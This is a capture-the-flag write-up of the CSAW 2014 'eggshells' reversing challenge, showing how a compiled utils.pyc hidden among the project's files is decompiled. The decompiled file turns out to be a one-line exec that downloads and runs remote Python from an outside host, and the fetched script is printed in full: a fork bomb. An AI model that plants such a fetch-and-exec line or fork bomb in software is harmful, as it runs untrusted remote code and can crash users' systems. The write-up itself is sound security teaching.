CSAW CTF 2014 - Reverse Engineering 100: "eggshells"

This is the first exploitation problem and it starts with the following text:

I trust people on the Internet all the time, do you?

Written by ColdHeat

eggshells-master.zip

Unzipping and Analyzing the Files

Let’s unzip the provided zip file:

$ unzip eggshells-master.zip

This creates a directory called eggshells-master that contains several Python and exe files. Let us look closer to the contend of this folder:

$ tree .
├── capstone.py
├── distorm.py
├── interpreter.py
├── main.py
├── nasm
│   ├── LICENSE
│   ├── nasm.exe
│   ├── ndisasm.exe
│   └── rdoff
│       ├── ldrdf.exe
│       ├── rdf2bin.exe
│       ├── rdf2com.exe
│       ├── rdf2ihx.exe
│       ├── rdf2ith.exe
│       ├── rdf2srec.exe
│       ├── rdfdump.exe
│       ├── rdflib.exe
│       └── rdx.exe
├── nasm.py
├── server.py
├── shellcode.py
├── utils.pyc
└── wrapper.py

Do you see anything unusual?

Decompiled a pre-compiled Python File

A pre-compiled Python file stands out in this list: utils.pyc. We need to decompile it. For this task we use uncompyle2, which can be installed with:

$ sudo pip install uncompyle2

Let's learn a bit more about this tool with uncompyle2 --help. The usage is straightfoward, but it's a good knowledge to learn about the -o flag, which will decompile to a .dis file instead of stdout:

Usage: uncompyle2 [OPTIONS]... [ FILE | DIR]...

Examples:
  uncompyle2      foo.pyc bar.pyc       # decompile foo.pyc, bar.pyc to stdout
  uncompyle2 -o . foo.pyc bar.pyc       # decompile to ./foo.dis and ./bar.dis
  uncompyle2 -o /tmp /usr/lib/python1.5 # decompile whole library

Options:
  -o <path>     output decompiled files to this path:
                if multiple input files are decompiled, the common prefix
                is stripped from these names and the remainder appended to
                <path>
                  uncompyle -o /tmp bla/fasel.pyc bla/foo.pyc
                    -> /tmp/fasel.dis, /tmp/foo.dis
                  uncompyle -o /tmp bla/fasel.pyc bar/foo.pyc
                    -> /tmp/bla/fasel.dis, /tmp/bar/foo.dis

We could also use .py extension if we like:

  --py          use '.py' extension for generated files

Also, we learn about all the possible outputs:

 Extensions of generated files:
  '.pyc_dis' '.pyo_dis'   successfully decompiled (and verified if --verify)
  '.py'                   with --py option
    + '_unverified'       successfully decompile but --verify failed
    + '_failed'           uncompyle failed (contact author for enhancement)

All right, no more diverging. Let's play! We run the uncompyle2 command and obtain the following:

$ uncompyle2 utils.pyc
#Embedded file name: /Users/kchung/Desktop/CSAW Quals 2014/rev100/utils.py
exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()
+++ okay decompyling utils.pyc
# decompiled 1 files: 1 okay, 0 failed, 0 verify failed

Parsing the Result and Voilà

So all that this file does is in this line:

exec __import__('urllib2').urlopen('http://kchung.co/lol.py').read()

To understand this code, we need to know that Python's exec method performs dynamic execution of code. In this problem, exec starts importing urllib2, which is a library for opening URLs. It has the method urlopen() to open the URL url, which can be either a string or a request object. This function returns a file-like object with three additional methods. Finally, read() would read this returned file.

So all that this script does is to try running a Python file that is hosted online! Well, let's see what this file does! Let's just curl http://kchung.co/lol.py:

$  curl http://kchung.co/lol.py
import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}

Yaaay! The flag is trust_is_risky! Easy!

Hack all the things!